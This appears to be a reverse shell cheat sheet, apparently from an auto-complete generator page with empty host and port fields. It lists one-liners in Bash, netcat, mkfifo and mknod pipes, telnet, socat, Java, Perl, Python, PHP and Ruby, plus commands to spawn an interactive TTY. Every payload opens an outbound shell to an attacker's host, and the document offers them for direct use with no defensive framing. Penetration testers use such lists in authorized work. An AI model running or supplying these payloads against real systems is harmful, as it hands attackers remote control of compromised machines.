Reverse shell auto-complete

Reverse shell auto-complete

Bash

bash -i >& /dev/tcp// 0>&1

exec 5<>/dev/tcp//;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp// 1>&0 2>&0

Netcat

nc   -e /bin/bash

/bin/nc.traditional   -e /bin/bash

/bin/nc.traditional   -c /bin/bash

mkfifo

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc   > f

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd   > f

mknod

rm -f x; mknod x p && nc   0<x | /bin/bash 1>x

rm -f x; mknod x p && /bin/nc.openbsd   0<x | /bin/bash 1>x

telnet

telnet  <PORT1> | /bin/bash | telnet  <PORT2>

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet   > f

rm -f x; mknod x p && telnet   0<x | /bin/bash 1>x

Socat

socat tcp-connect:: exec:"bash -li",pty,stderr,setsid,sigint,sane

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp//;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Perl

perl -e 'use Socket;$i="";$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

__import__("subprocess").getoutput("Your_bash_reverse_shell_here")

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$s=fsockopen("",);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("",);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("",);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$s=fsockopen("",);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("",);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("",).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("","");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Spawn a TTY

/bin/sh -i
python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

Other sources :